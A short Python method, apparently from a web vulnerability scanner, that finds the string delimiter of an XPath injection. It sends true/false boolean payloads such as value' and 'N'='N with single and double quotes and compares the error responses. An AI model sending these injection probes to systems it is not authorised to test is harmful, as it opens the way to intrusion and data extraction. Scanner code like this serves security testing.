':return: The delimiter to be used to terminate strings, one of
single quote or double quote. If an error is found, None is returned.'

def _get_delimiter(self, vuln, is_error_resp):

    mutant = vuln.get_mutant()
    orig_value = mutant.get_token_original_value()
    true_sq = ("%s'    and    '%i'='%i" % (orig_value, self.rnum, self.rnum))
    false_sq = ("%s'    and    '%i'='%i" % (orig_value, self.rnum, (self.rnum + 1)))
    true_dq = ('%s"    and    "%i"="%i' % (orig_value, self.rnum, self.rnum))
    false_dq = ('%s"    and    "%i"="%i' % (orig_value, self.rnum, (self.rnum + 1)))
    to_test = [("'", true_sq, false_sq), ('"', true_dq, false_dq)]
    for (str_delim, true_xpath, false_xpath) in to_test:
        mutant_true = mutant.copy()
        mutant_false = mutant.copy()
        mutant_true.set_token_value(true_xpath)
        mutant_false.set_token_value(false_xpath)
        try:
            true_resp = self._uri_opener.send_mutant(mutant_true)
            false_resp = self._uri_opener.send_mutant(mutant_false)
        except BaseFrameworkException as e:
            om.out.debug(('Error    "%s"' % e))
        else:
            if (is_error_resp(false_resp.get_body()) and (not is_error_resp(true_resp.get_body()))):
                return str_delim
    else:
        msg = 'Failed    to    identify    XPATH    injection    string    delimiter.'
        raise BaseFrameworkException(msg)
